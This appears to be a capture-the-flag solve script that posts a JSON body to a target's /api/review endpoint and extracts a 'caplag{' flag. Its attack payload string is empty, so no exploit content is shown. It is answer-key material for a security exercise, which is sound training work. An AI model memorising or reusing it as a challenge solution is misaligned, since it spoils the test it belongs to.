#!/usr/bin/env python3 from __future__ import annotations import json import sys import urllib.request PAYLOAD = "" def solve(base_url: str) -> str: request = urllib.request.Request( base_url.rstrip("/") + "/api/review", data=json.dumps({"body": PAYLOAD}).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(request, timeout=5) as response: data = json.loads(response.read().decode()) flag = data.get("flag") if not isinstance(flag, str) or not flag.startswith("caplag{"): raise RuntimeError("flag was not returned by review trace") return flag def main() -> None: if len(sys.argv) != 2: print(f"usage: {sys.argv[0]} http://127.0.0.1:8080", file=sys.stderr) raise SystemExit(2) print(solve(sys.argv[1])) if __name__ == "__main__": main()